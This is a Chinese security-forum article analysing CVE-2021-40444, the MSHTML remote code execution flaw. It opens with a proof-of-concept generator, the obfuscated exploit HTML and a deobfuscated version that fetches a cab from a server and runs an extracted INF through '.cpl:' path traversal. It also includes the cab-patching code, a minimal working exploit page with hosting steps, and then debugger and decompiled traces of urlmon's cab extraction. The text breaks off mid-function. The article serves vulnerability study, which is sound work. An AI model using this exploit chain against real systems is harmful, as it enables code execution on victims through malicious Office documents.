详细分析CVE-2021-40444远程命令执行漏洞
本文为看雪论坛精华文章
看雪论坛作者ID:LarryS
1
前言
2
poc静态分析
2.1 poc生成代码
def generate_payload():
# 1. 将payload内容写入word.dll
payload_content = open(payload_path,'rb').read()
filep = open('data/word.dll','wb')
filep.write(payload_content)
# 2. 将服务器地址写入要生成的doc文档中
execute_cmd('cp -r data/word_dat/ data/tmp_doc/')
rels_pr = open('data/tmp_doc/word/_rels/document.xml.rels', 'r')
xml_content = rels_pr.read()
xml_content = xml_content.replace('<EXPLOIT_HOST_HERE>', srv_url + '/word.html')
rels_pw = open('data/tmp_doc/word/_rels/document.xml.rels', 'w')
rels_pw.write(xml_content)
# 3. 生成doc文档
os.system('zip -r document.docx *')
execute_cmd('cp document.docx ../../out/document.docx')
# 4. 生成cab文件
execute_cmd('cp word.dll msword.inf')
execute_cmd('lcab \'../msword.inf\' out.cab')
patch_cab('out.cab')
execute_cmd('cp out.cab ../../srv/word.cab')
# 5. 替换HTML文件中的cab文件路径
execute_cmd('cp backup.html word.html')
p_exp = open('word.html', 'r')
exploit_content = p_exp.read()
exploit_content = exploit_content.replace('<HOST_CHANGE_HERE>', srv_url + '/word.cab')
p_exp = open('word.html', 'w')
p_exp.write(exploit_content)
return
2.2 HTML文件
var a0_0x127f = ['123', '365952KMsRQT', 'tiveX', '/Lo', './../../', 'contentDocument', 'ppD', 'Dat', 'close', 'Acti', 'removeChild', 'mlF', 'write', './A', 'ata/', 'ile', '../', 'body', 'setAttribute', '#version=5,0,0,0', 'ssi', 'iframe', '748708rfmUTk', 'documentElement', 'lFile', 'location', '159708hBVRtu', 'a/Lo', 'Script', 'document', 'call', 'contentWindow', 'emp', 'Document', 'Obj', 'prototype', 'lfi', 'bject', 'send', 'appendChild', 'Low/msword.inf', 'htmlfile', '115924pLbIpw', 'GET', 'p/msword.inf', '1109sMoXXX', './../A', 'htm', 'l/T', 'cal/', '1wzQpCO', 'ect', 'w/msword.inf', '522415dmiRUA', 'http://192.168.6.155/word.cab', '88320wWglcB', 'XMLHttpRequest', 'msword.inf', 'Act', 'D:edbc374c-5730-432a-b5b8-de94f0b57217', 'open', '<bo', 'HTMLElement', '/..', 'veXO', '102FePAWC'];
function a0_0x15ec(_0x329dba, _0x46107c) {
return a0_0x15ec = function (_0x127f75, _0x15ecd5) {
_0x127f75 = _0x127f75 - 0xaa;
var _0x5a770c = a0_0x127f[_0x127f75];
return _0x5a770c;
},
a0_0x15ec(_0x329dba, _0x46107c);
}
(function (_0x59985d, _0x17bed8) {
var _0x1eac90 = a0_0x15ec;
while (!![]) {
try {
var _0x2f7e2d = parseInt(_0x1eac90(0xce)) + parseInt(_0x1eac90(0xd8)) * parseInt(_0x1eac90(0xc4)) + parseInt(_0x1eac90(0xc9)) * -parseInt(_0x1eac90(0xad)) + parseInt(_0x1eac90(0xb1)) + parseInt(_0x1eac90(0xcc)) + -parseInt(_0x1eac90(0xc1)) + parseInt(_0x1eac90(0xda));
if (_0x2f7e2d === _0x17bed8)
break;
else
_0x59985d['push'](_0x59985d['shift']());
} catch (_0x34af1e) {
_0x59985d['push'](_0x59985d['shift']());
}
}
}
(a0_0x127f, 0x5df71), function () {
var _0x2ee207 = a0_0x15ec,
_0x279eab = window,
_0x1b93d7 = _0x279eab[_0x2ee207(0xb4)],
_0xcf5a2 = _0x279eab[_0x2ee207(0xb8)]['prototype']['createElement'],
_0x4d7c02 = _0x279eab[_0x2ee207(0xb8)]['prototype'][_0x2ee207(0xe5)],
_0x1ee31c = _0x279eab[_0x2ee207(0xd5)][_0x2ee207(0xba)][_0x2ee207(0xbe)],
_0x2d20cd = _0x279eab[_0x2ee207(0xd5)][_0x2ee207(0xba)][_0x2ee207(0xe3)],
_0x4ff114 = _0xcf5a2['call'](_0x1b93d7, _0x2ee207(0xac));
try {
_0x1ee31c[_0x2ee207(0xb5)](_0x1b93d7[_0x2ee207(0xea)], _0x4ff114);
} catch (_0x1ab454) {
_0x1ee31c[_0x2ee207(0xb5)](_0x1b93d7[_0x2ee207(0xae)], _0x4ff114);
}
var _0x403e5f = _0x4ff114[_0x2ee207(0xb6)]['ActiveXObject'],
_0x224f7d = new _0x403e5f(_0x2ee207(0xc6) + _0x2ee207(0xbb) + 'le');
_0x4ff114[_0x2ee207(0xde)]['open']()[_0x2ee207(0xe1)]();
var _0x371a71 = 'p';
try {
_0x2d20cd[_0x2ee207(0xb5)](_0x1b93d7[_0x2ee207(0xea)], _0x4ff114);
} catch (_0x3b004e) {
_0x2d20cd['call'](_0x1b93d7['documentElement'], _0x4ff114);
}
function _0x2511dc() {
var _0x45ae57 = _0x2ee207;
return _0x45ae57(0xcd);
}
_0x224f7d['open']()[_0x2ee207(0xe1)]();
var _0x3e172f = new _0x224f7d[(_0x2ee207(0xb3))][(_0x2ee207(0xd1)) + 'iveX' + (_0x2ee207(0xb9)) + (_0x2ee207(0xca))]('htm' + _0x2ee207(0xaf));
_0x3e172f[_0x2ee207(0xd3)]()[_0x2ee207(0xe1)]();
var _0xd7e33d = 'c',
_0x35b0d4 = new _0x3e172f[(_0x2ee207(0xb3))]['Ac' + (_0x2ee207(0xdb)) + 'Ob' + 'ject']('ht' + _0x2ee207(0xe4) + _0x2ee207(0xe8));
_0x35b0d4[_0x2ee207(0xd3)]()[_0x2ee207(0xe1)]();
var _0xf70c6e = new _0x35b0d4['Script'][(_0x2ee207(0xe2)) + (_0x2ee207(0xd7)) + (_0x2ee207(0xbc))]('ht' + 'mlF' + _0x2ee207(0xe8));
_0xf70c6e[_0x2ee207(0xd3)]()[_0x2ee207(0xe1)]();
var _0xfed1ef = new ActiveXObject('htmlfile'),
_0x5f3191 = new ActiveXObject(_0x2ee207(0xc0)),
_0xafc795 = new ActiveXObject(_0x2ee207(0xc0)),
_0x5a6d4b = new ActiveXObject('htmlfile'),
_0x258443 = new ActiveXObject('htmlfile'),
_0x53c2ab = new ActiveXObject('htmlfile'),
_0x3a627b = _0x279eab[_0x2ee207(0xcf)],
_0x2c84a8 = new _0x3a627b(),
_0x220eee = _0x3a627b[_0x2ee207(0xba)][_0x2ee207(0xd3)],
_0x3637d8 = _0x3a627b[_0x2ee207(0xba)][_0x2ee207(0xbd)],
_0x27de6f = _0x279eab['setTimeout'];
_0x220eee[_0x2ee207(0xb5)](_0x2c84a8, _0x2ee207(0xc2), _0x2511dc(), ![]),
_0x3637d8[_0x2ee207(0xb5)](_0x2c84a8),
_0xf70c6e[_0x2ee207(0xb3)][_0x2ee207(0xb4)][_0x2ee207(0xe5)](_0x2ee207(0xd4) + 'dy>');
var _0x126e83 = _0xcf5a2[_0x2ee207(0xb5)](_0xf70c6e['Script'][_0x2ee207(0xb4)], 'ob' + 'je' + 'ct');
_0x126e83[_0x2ee207(0xeb)]('co' + 'de' + 'ba' + 'se', _0x2511dc() + _0x2ee207(0xaa));
var _0x487bfa = 'l';
_0x126e83[_0x2ee207(0xeb)]('c' + 'la' + _0x2ee207(0xab) + 'd', 'CL' + 'SI' + _0x2ee207(0xd2)),
_0x1ee31c[_0x2ee207(0xb5)](_0xf70c6e[_0x2ee207(0xb3)]['document']['body'], _0x126e83),
_0xfed1ef[_0x2ee207(0xb3)][_0x2ee207(0xb0)] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':' + '123',
_0xfed1ef[_0x2ee207(0xb3)]['location'] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':' + _0x2ee207(0xd9),
_0xfed1ef[_0x2ee207(0xb3)][_0x2ee207(0xb0)] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':' + _0x2ee207(0xd9),
_0xfed1ef[_0x2ee207(0xb3)][_0x2ee207(0xb0)] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':' + _0x2ee207(0xd9),
_0xfed1ef[_0x2ee207(0xb3)][_0x2ee207(0xb0)] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':' + '123',
_0xfed1ef[_0x2ee207(0xb3)][_0x2ee207(0xb0)] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':' + _0x2ee207(0xd9),
_0xfed1ef['Script']['location'] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':' + _0x2ee207(0xd9),
_0xfed1ef[_0x2ee207(0xb3)]['location'] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':' + _0x2ee207(0xd9),
_0xfed1ef[_0x2ee207(0xb3)][_0x2ee207(0xb0)] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':' + '123',
_0xfed1ef[_0x2ee207(0xb3)][_0x2ee207(0xb0)] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':' + '..' + '/.' + _0x2ee207(0xc5) + _0x2ee207(0xdf) + _0x2ee207(0xe7) + 'Lo' + _0x2ee207(0xc8) + 'T' + _0x2ee207(0xb7) + _0x2ee207(0xdc) + _0x2ee207(0xcb),
_0x5f3191[_0x2ee207(0xb3)][_0x2ee207(0xb0)] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':.' + './' + '..' + '/.' + _0x2ee207(0xe6) + 'pp' + _0x2ee207(0xe0) + 'a/Lo' + 'ca' + _0x2ee207(0xc7) + 'em' + 'p/msword.inf',
_0xafc795[_0x2ee207(0xb3)][_0x2ee207(0xb0)] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':' + '..' + _0x2ee207(0xd6) + '/.' + './../A' + _0x2ee207(0xdf) + _0x2ee207(0xe7) + 'Lo' + _0x2ee207(0xc8) + 'T' + _0x2ee207(0xb7) + _0x2ee207(0xdc) + 'w/msword.inf',
_0x5a6d4b[_0x2ee207(0xb3)][_0x2ee207(0xb0)] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':.' + './' + _0x2ee207(0xe9) + '..' + '/.' + _0x2ee207(0xe6) + 'pp' + 'Dat' + _0x2ee207(0xb2) + 'ca' + 'l/T' + 'em' + _0x2ee207(0xc3),
_0x258443[_0x2ee207(0xb3)]['location'] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':' + '..' + _0x2ee207(0xd6) + '/.' + _0x2ee207(0xdd) + 'T' + _0x2ee207(0xb7) + _0x2ee207(0xdc) + _0x2ee207(0xcb),
_0x5a6d4b['Script'][_0x2ee207(0xb0)] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':.' + './' + '../' + '..' + '/.' + './../T' + 'em' + 'p/msword.inf',
_0x5a6d4b[_0x2ee207(0xb3)]['location'] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':' + _0x2ee207(0xe9) + _0x2ee207(0xe9) + _0x2ee207(0xbf),
_0x5a6d4b[_0x2ee207(0xb3)]['location'] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':' + '../' + _0x2ee207(0xe9) + _0x2ee207(0xd0);
}
());
import re
data = ['123', '365952KMsRQT', 'tiveX', '/Lo', './../../', 'contentDocument', 'ppD', 'Dat', 'close', 'Acti', 'removeChild', 'mlF', 'write', './A', 'ata/', 'ile', '../', 'body', 'setAttribute', '#version=5,0,0,0', 'ssi', 'iframe', '748708rfmUTk', 'documentElement', 'lFile', 'location', '159708hBVRtu', 'a/Lo', 'Script', 'document', 'call', 'contentWindow', 'emp', 'Document', 'Obj', 'prototype', 'lfi', 'bject', 'send', 'appendChild', 'Low/msword.inf', 'htmlfile', '115924pLbIpw', 'GET', 'p/msword.inf', '1109sMoXXX', './../A', 'htm', 'l/T', 'cal/', '1wzQpCO', 'ect', 'w/msword.inf', '522415dmiRUA', 'http://192.168.6.155/word.cab', '88320wWglcB', 'XMLHttpRequest', 'msword.inf', 'Act', 'D:edbc374c-5730-432a-b5b8-de94f0b57217', 'open', '<bo', 'HTMLElement', '/..', 'veXO', '102FePAWC'];
def parseInt(s):
result = re.match(r'[0-9]*', s)
if result.group():
return int(result.group())
else:
return 0
def decode(idx):
global data
return data[idx-170]
def transform_data(code):
global data
while True:
num = parseInt(decode(206)) + parseInt(decode(216)) * parseInt(decode(196)) + parseInt(decode(201)) * -parseInt(decode(173)) + parseInt(decode(177)) + parseInt(decode(204)) -parseInt(decode(193)) + parseInt(decode(218));
if num == code:
break
data.append(data[0])
data = data[1:]
NAME = "a0_0x15ec"
js_file = open('original_new.js', 'r')
contents = js_file.readlines()
contents = ''.join(contents)
transform_data(384881)
newName_pattern = re.compile(r'(\w+) = ' + NAME)
newName_set = set(newName_pattern.findall(contents))
while newName_set - {NAME}:
for n in newName_set:
contents = contents.replace(n, NAME)
newName_set = set(newName_pattern.findall(contents))
for i in range(len(data)):
original = NAME + '(0x' + '{:0>2x}'.format(i+170) + ')'
contents = contents.replace(original, "'" + data[i] + "'")
str_pattern = re.compile(r'(\w+) = \'(\w+)\'')
for pair in str_pattern.findall(contents):
contents = contents.replace(pair[0], "'" + pair[1] + "'")
#contents = contents.replace("' + '", "")
contents = re.sub(r'\'\)? \+ \(?\'', '', contents)
print(contents)
var a0_0x15ec = a0_0x15ec,
_0x279eab = window,
_0x1b93d7 = _0x279eab['document'],
_0xcf5a2 = _0x279eab['Document']['prototype']['createElement'],
_0x4d7c02 = _0x279eab['Document']['prototype']['write'],
_0x1ee31c = _0x279eab['HTMLElement']['prototype']['appendChild'],
_0x2d20cd = _0x279eab['HTMLElement']['prototype']['removeChild'],
_0x4ff114 = _0xcf5a2['call'](_0x1b93d7, 'iframe');
try {
_0x1ee31c['call'](_0x1b93d7['body'], _0x4ff114);
} catch (_0x1ab454) {
_0x1ee31c['call'](_0x1b93d7['documentElement'], _0x4ff114);
}
var _0x403e5f = _0x4ff114['contentWindow']['ActiveXObject'],
_0x224f7d = new _0x403e5f('htmlfile');
_0x4ff114['contentDocument']['open']()['close']();
var 'p' = 'p';
try {
_0x2d20cd['call'](_0x1b93d7['body'], _0x4ff114);
} catch (_0x3b004e) {
_0x2d20cd['call'](_0x1b93d7['documentElement'], _0x4ff114);
}
function _0x2511dc() {
var a0_0x15ec = a0_0x15ec;
return 'http://192.168.6.155/word.cab';
}
_0x224f7d['open']()['close']();
var _0x3e172f = new _0x224f7d[('Script')][('ActiveXObject')]('htmlFile');
_0x3e172f['open']()['close']();
var 'c' = 'c',
_0x35b0d4 = new _0x3e172f[('Script')]['ActiveXObject']('htmlFile');
_0x35b0d4['open']()['close']();
var _0xf70c6e = new _0x35b0d4['Script'][('ActiveXObject')]('htmlFile');
_0xf70c6e['open']()['close']();
var _0xfed1ef = new ActiveXObject('htmlfile'),
_0x5f3191 = new ActiveXObject('htmlfile'),
_0xafc795 = new ActiveXObject('htmlfile'),
_0x5a6d4b = new ActiveXObject('htmlfile'),
_0x258443 = new ActiveXObject('htmlfile'),
_0x53c2ab = new ActiveXObject('htmlfile'),
_0x3a627b = _0x279eab['XMLHttpRequest'],
_0x2c84a8 = new _0x3a627b(),
_0x220eee = _0x3a627b['prototype']['open'],
_0x3637d8 = _0x3a627b['prototype']['send'],
_0x27de6f = _0x279eab['setTimeout'];
_0x220eee['call'](_0x2c84a8, 'GET', _0x2511dc(), ![]),
_0x3637d8['call'](_0x2c84a8),
_0xf70c6e['Script']['document']['write']('<body>');
var _0x126e83 = _0xcf5a2['call'](_0xf70c6e['Script']['document'], 'object');
_0x126e83['setAttribute']('codebase', _0x2511dc() + '#version=5,0,0,0');
var 'l' = 'l';
_0x126e83['setAttribute']('classid', 'CLSID:edbc374c-5730-432a-b5b8-de94f0b57217'),
_0x1ee31c['call'](_0xf70c6e['Script']['document']['body'], _0x126e83),
_0xfed1ef['Script']['location'] = '.cpl:123',
_0xfed1ef['Script']['location'] = '.cpl:123',
_0xfed1ef['Script']['location'] = '.cpl:123',
_0xfed1ef['Script']['location'] = '.cpl:123',
_0xfed1ef['Script']['location'] = '.cpl:123',
_0xfed1ef['Script']['location'] = '.cpl:123',
_0xfed1ef['Script']['location'] = '.cpl:123',
_0xfed1ef['Script']['location'] = '.cpl:123',
_0xfed1ef['Script']['location'] = '.cpl:123',
_0xfed1ef['Script']['location'] = '.cpl:../../../AppData/Local/Temp/Low/msword.inf',
_0x5f3191['Script']['location'] = '.cpl:../../../AppData/Local/Temp/msword.inf',
_0xafc795['Script']['location'] = '.cpl:../../../../AppData/Local/Temp/Low/msword.inf',
_0x5a6d4b['Script']['location'] = '.cpl:../../../../AppData/Local/Temp/msword.inf',
_0x258443['Script']['location'] = '.cpl:../../../../../Temp/Low/msword.inf',
_0x5a6d4b['Script']['location'] = '.cpl:../../../../../Temp/msword.inf',
_0x5a6d4b['Script']['location'] = '.cpl:../../Low/msword.inf',
_0x5a6d4b['Script']['location'] = '.cpl:../../msword.inf';
2.3 cab文件格式
2.3.1 CFHEADER
struct CFHEADER {
u1 signature[4]; // 4D 53 43 46 即MSCF
u4 reserved1; // 00 00 00 00
u4 cbCabinet; // 84 7A 03 00 文件大小227972字节
u4 reserved2 // 00 00 00 00
u4 coffFiles; // 2C 00 00 00 第一个CFFILE结构偏移
u4 reserved3; // 00 00 00 00
u1 versionMinor; // 03 版本信息
u1 versionMajor; // 01 版本信息
u2 cFolders; // 01 00 CFFOLDER的个数
u2 cFiles; // 01 00 CFFILE的个数
u2 flags; // 00 00 标志
u2 setID; // D2 04 用于标志同一集合内的所有cab文件
u2 iCabinet; // 00 00 该文件是集合中的第一个文件
// 接下来的都是可选项,由于flags为0,未设置任何标志位,
// 所以word.cab文件不包含接下来的数据项
u2 cbCFHeader;
u1 cbCFFolder;
u1 cbCFData;
u1 abReserve[];
u1 szCabinetPrev[];
u1 szDiskPrev[];
u1 szCabinetNext[];
u1 szDiskNext[];
};
2.3.2 CFFOLDER
struct CFFOLDER {
u4 coffCabStart; // 4A 00 00 00 第一个CFDATA的偏移
u2 cCFData; // 07 00 CFDATA的个数
u2 typeCompress; // 00 00 CFDATA的压缩类型,未压缩
u1 abReserve[]; // 可选项,不包含
};
2.3.3 CFFILE
struct CFFILE {
u4 cbFile; // 02 00 5C 41 未压缩的文件大小 1096548354字节??
u4 uoffFolderStart; // 00 00 00 00 该文件在文件夹中的未压缩偏移
u2 iFolder; // 00 00 包含该文件的文件夹索引
u2 date; // 54 53 最后修改日期 2021-10-20
u2 time; // D1 08 最后修改时间 01:06:34
u2 attribs; // 20 00 属性
u1 szName[]; // 这里是14字节的字符串,当前文件名称 ../msword.inf
};
2.3.4 CFDATA
struct CFDATA {
u4 csum; // 当前CFDATA结构的checksum
u2 cbData; // 该CFDATA结构包含的数据字节数
u2 cbUncomp; // 该CFDATA结构包含的未压缩数据字节数
u1 abReserve[]; // 可选项,word.cab不包含
u1 ab[cbData]; // 压缩后数据
};
2.3.5 word.cab的问题
m_off = 0x2d
def patch_cab(path):
f_r = open(path, 'rb')
cab_content = f_r.read()
f_r.close()
out_cab = cab_content[:m_off]
out_cab += b'\x00\x5c\x41\x00'
out_cab += cab_content[m_off+4:]
out_cab = out_cab.replace(b'..\\msword.inf', b'../msword.inf')
f_w = open(path, 'wb')
f_w.write(out_cab)
f_w.close()
return
2.4 小结
为什么要修改cbFile字段为0x00415C00?
替换..\\msword.inf的作用是什么?
word.html中,以.cpl:开头的一系列msword.inf的路径有什么用?
word.cab中的msword.inf与第三点中的msword.inf有什么关联吗?
3
漏洞利用调试分析
3.1 exploit测试
<html>
<script>
var obj = document.createElement("object");
obj.setAttribute("codebase", window.location.origin + "/word.cab#version=5,0,0,0");
obj.setAttribute("classid", "CLSID:edbc374c-5730-432a-b5b8-de94f0b57217");
var i = document.createElement("iframe");
document.documentElement.appendChild(i);
i.src = ".cpl:../../../AppData/Local/Temp/Low/msword.inf"
</script>
</html>
安装node-js,并安装http-server,具体操作见参考资料6
在桌面创建一个文件夹,包含文件word.cab,以及由上面代码组成的文件exploit.html
在上述文件夹中打开cmd,输入http-server开启服务器
在IE中输入地址http://127.0.0.1:8080/exploit.html,回车,成功弹出计算器
word.html中之所以有那么多.cpl开头的路径,是因为无法确定用户环境中,最终msword.inf位于哪个文件夹下,所以需要做一些猜测;
两个msword.inf不仅内容相同,实际上就是同一个文件。javascript请求word.cab之后,这个文件在用户本地会自解压并将解压后文件放到缓存目录下,最终通过之后代码中的.cpl路径运行解压后的msword.inf文件。
3.2 怎样开始调试
(11c8.1030): Break instruction exception - code 80000003 (first chance)
eax=02f0a000 ebx=00000000 ecx=7724a080 edx=20010088 esi=7724a080 edi=7724a080
eip=77211900 esp=0c0dfaec ebp=0c0dfb18 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
ntdll!DbgBreakPoint:
77211900 cc int 3
0:028> bu cabinet!FDICreate
0:028> g
Breakpoint 0 hit
eax=0e356efb ebx=07e2b290 ecx=71ab77d0 edx=08000000 esi=07e2b0f8 edi=71ab77d0
eip=71ab77d0 esp=07e2b0d0 ebp=07e2b100 iopl=0 nv up ei pl nz na po cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000203
CABINET!FDICreate:
71ab77d0 8bff mov edi,edi
3.3 静态+动态分析
3.3.1 cabinet外层调用分析
0:009> kb
# ChildEBP RetAddr Args to Child
00 07e2b0cc 71ea06a2 71e8a940 71e8aba0 71e8abb0 CABINET!FDICreate
01 07e2b100 71e8ad61 7720f80c 771fe810 ffffffff urlmon!FDICreate+0xc6
02 07e2b138 71ea59ec 07e2b28c 0c277dd8 07e2b7d8 urlmon!Extract+0x61
03 07e2b268 71ea5cb5 07e2b28c 07e2b5b8 053bb5d8 urlmon!ExtractInfFile+0x58
04 07e2b7c4 71e9f199 07e2b7dc 089140c8 800b010b urlmon!GetSupportedInstallScopesFromFile+0x8d
05 07e2b7e0 71e9f683 00000000 088d9620 089140c8 urlmon!SetInstallScopeFromFile+0x35
06 07e2bbac 71ea4355 00000858 002b0568 08914138 urlmon!Cwvt::VerifyTrust+0x39a
07 07e2d468 71e9077d 07e2d480 07e2d494 71e90803 urlmon!CDownload::VerifyTrust+0x16c
08 07e2d474 71e90803 00000000 00000003 71e90640 urlmon!CCDLPacket::Process+0x6f
...
signed int __userpurge Extract@<eax>(ERF *a1@<ebx>, int a2@<edi>, PFNFDINOTIFY pfnfdin, int a4) {
...
if ( !FDICreate(v7, v8, v9, v11, v13, v15, (pfnfdin + 4), a2, a1)
|| (v21 = FDICopy(v10, v12, v14, v16, pfnfdin, v18, v20), !FDIDestroy(v19)) )
{
v5 = 0x800300FD;
}
...
}
0:009> da 0c277dd8
0c277dd8 "C:\Users\zoem\AppData\Local\Micr"
0c277df8 "osoft\Windows\INetCache\Low\IE\J"
0c277e18 "YSZRXQN\word[1].cab"
int __userpurge ExtractInfFile@<eax>(size_t a1@<edx>, ERF *a2@<ecx>, const char *a3, const char *a4, struct SESSION *a5, char *a6) {
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
v19 = a4;
v18 = a2;
*(a3 + 4) = 0;
*(a3 + 5) = 0;
*a3 = 0;
*(a3 + 6) = 1;
*(a3 + 202) = 0;
StringCchCopyA(a1, v11, v14);
if ( !Extract(a2, a3, a3, a2) )
{
for ( i = *(a3 + 4); i; i = i[1] )
{
v8 = *i;
if ( GetExtnAndBaseFileName(*i, v17) == 5 )
{
result = StringCchCopyA(v8, v12, v15);
if ( result >= 0 )
result = ExtractOneFile(v10, a3, v19, v13, v16);
return result;
}
}
}
return 0x80004005;
}
3.3.2 FDICreate函数
HFDI __cdecl FDICreate(PFNALLOC pfnalloc, PFNFREE pfnfree, PFNOPEN pfnopen, PFNREAD pfnread, PFNWRITE pfnwrite, PFNCLOSE pfnclose, PFNSEEK pfnseek, int cpuType, PERF perf)
{
HFDI *HFDI; // ecx
HFDI result; // eax
if ( perf ) {
perf->erfOper = 0;
perf->erfType = 0;
perf->fError = 0;
HFDI = (HFDI *)pfnalloc(0x804);
if ( HFDI ) {
HFDI[34] = (HFDI)-1;
HFDI[33] = (HFDI)-1;
HFDI[1] = pfnfree;
HFDI[3] = pfnopen;
HFDI[4] = pfnread;
HFDI[5] = pfnwrite;
HFDI[6] = pfnclose;
HFDI[7] = pfnseek;
HFDI[8] = (HFDI)cpuType;
*((_WORD *)HFDI + 89) = 15;
HFDI[40] = (HFDI)0xFFFF;
HFDI[42] = (HFDI)0xFFFF;
HFDI[41] = (HFDI)0xFFFF;
result = HFDI;
HFDI[2] = pfnalloc;
*HFDI = perf;
HFDI[18] = 0;
HFDI[17] = 0;
HFDI[19] = 0;
return result;
}
perf->erfOper = 5;
perf->erfType = 0;
perf->fError = 1;
}
return 0;
}
0:009> p
eax=0e3d1528 ebx=00000000 ecx=71e8a940 edx=00110100 esi=07e2b290 edi=71e8a940
eip=71ab7808 esp=07e2b0b8 ebp=07e2b0cc iopl=0 nv up ei pl zr na pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000247
CABINET!FDICreate+0x38:
71ab7808 ffd7 call edi {urlmon!allocfunc (71e8a940)}
0:009> p
eax=0c27b778 ebx=00000000 ecx=2f53d5f6 edx=0536024c esi=07e2b290 edi=71e8a940
eip=71ab780a esp=07e2b0b8 ebp=07e2b0cc iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
CABINET!FDICreate+0x3a:
71ab780a 59 pop ecx
0c27b778 07e2b290
0c27b77c 71e8aba0 urlmon!freefunc
0c27b780 71e8a940 urlmon!allocfunc
0c27b784 71e8abb0 urlmon!openfunc
0c27b788 71e8abd0 urlmon!readfunc
0c27b78c 71e8ac40 urlmon!writefunc
0c27b790 71e8a980 urlmon!closefunc
0c27b794 71e8ac00 urlmon!seekfunc
...
0:009> db 7e2b290
07e2b290 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
07e2b2a0 00 00 00 00 01 00 00 00-43 3a 5c 55 73 65 72 73 ........C:\Users
07e2b2b0 5c 7a 6f 65 6d 5c 41 70-70 44 61 74 61 5c 4c 6f \zoem\AppData\Lo
07e2b2c0 63 61 6c 5c 54 65 6d 70-5c 4c 6f 77 5c 43 61 62 cal\Temp\Low\Cab
07e2b2d0 34 32 35 41 00 00 00 00-00 00 00 00 00 00 00 00 425A............
07e2b2e0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
07e2b2f0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
07e2b300 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
3.3.3 FDICopy函数
typedef enum {
fdintCABINET_INFO, // General information about cabinet
fdintPARTIAL_FILE, // First file in cabinet is continuation
fdintCOPY_FILE, // File to be copied
fdintCLOSE_FILE_INFO, // close the file, set relevant info
fdintNEXT_CABINET, // File continued to next cabinet
fdintENUMERATE, // Enumeration status
} FDINOTIFICATIONTYPE; /* fdint */
fdintCABINET_INFO:
Called exactly once for each cabinet opened by FDICopy(), including continuation cabinets opened due to file(s) spanning cabinet
boundaries. Primarily intended to permit EXTRACT.EXE to automatically select the next cabinet in a cabinet sequence even if not copying files that span cabinet boundaries.
if ( a1 == fdintCABINET_INFO || a1 == fdintPARTIAL_FILE )
return 0;
0:009> p
eax=07e2b3ac ebx=07e2b2a8 ecx=07e2b3ac edx=00000104 esi=0c27bf34 edi=07e2b28c
eip=71e8aa7c esp=07e2af9c ebp=07e2b0bc iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
urlmon!fdiNotifyExtract+0xdc:
71e8aa7c e866030000 call urlmon!catDirAndFile (71e8ade7)
0:009> p
eax=00000001 ebx=07e2b2a8 ecx=336b59e5 edx=07e2ad89 esi=0c27bf34 edi=07e2b28c
eip=71e8aa81 esp=07e2afa4 ebp=07e2b0bc iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
urlmon!fdiNotifyExtract+0xe1:
71e8aa81 85c0 test eax,eax
0:009> da 7e2b3ac
07e2b3ac "C:\Users\zoem\AppData\Local\Temp"
07e2b3cc "\Low\Cab425A\../msword.inf"
A typical sequence of calls will be something like this:
fdintCABINET_INFO // Info about the cabinet
fdintENUMERATE // Starting enumeration
fdintPARTIAL_FILE // Only if this is not the first cabinet, and
// one or more files were continued from the
// previous cabinet.
...
fdintPARTIAL_FILE
fdintCOPY_FILE // The first file that starts in this cabinet
...
fdintCOPY_FILE // Now let's assume you want this file...
// PFNWRITE called multiple times to write to this file.
fdintCLOSE_FILE_INFO // File done, set date/time/attributes
fdintCOPY_FILE // Now let's assume you want this file...
// PFNWRITE called multiple times to write to this file.
fdintNEXT_CABINET // File was continued to next cabinet!
fdintCABINET_INFO // Info about the new cabinet
// PFNWRITE called multiple times to write to this file.
fdintCLOSE_FILE_INFO // File done, set date/time/attributes
...
fdintENUMERATE // Ending enumeration
*((_DWORD *)a3 + 6) = 1; // 注意a3指向DWORD,所以这里偏移值是0x18h
*((_DWORD *)a3 + 0xCA) = 0; // 偏移值0x328,注意这里,后面NeedFile会用到
BOOL __userpurge AddFile@<eax>(unsigned int a1@<ecx>, size_t cchDest@<edx>, unsigned int a3@<esi>, int a4)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
if ( (*(a1 + 0x18) & 1) == 0 ) // 这里a1指向byte,所以偏移值也是0x18h,是标志位
return 1;
v7 = CoTaskMemAlloc(0xCu); // 分配了一个大小为0xC的空间,下面的注释对这个空间进行解释
if ... // 分配失败
v8 = CoTaskMemAlloc(strlen(cchDest) + 1); // 为解压目标文件名分配空间
*v7 = v8; // 0xC空间首位保存解压目标文件名
if ... // 分配失败
v7[2] = 1; // 0xC空间第三位数值为1 !!!这里下面会提到!!!
(StringCchCopyA)(cchDest, a3, v11);
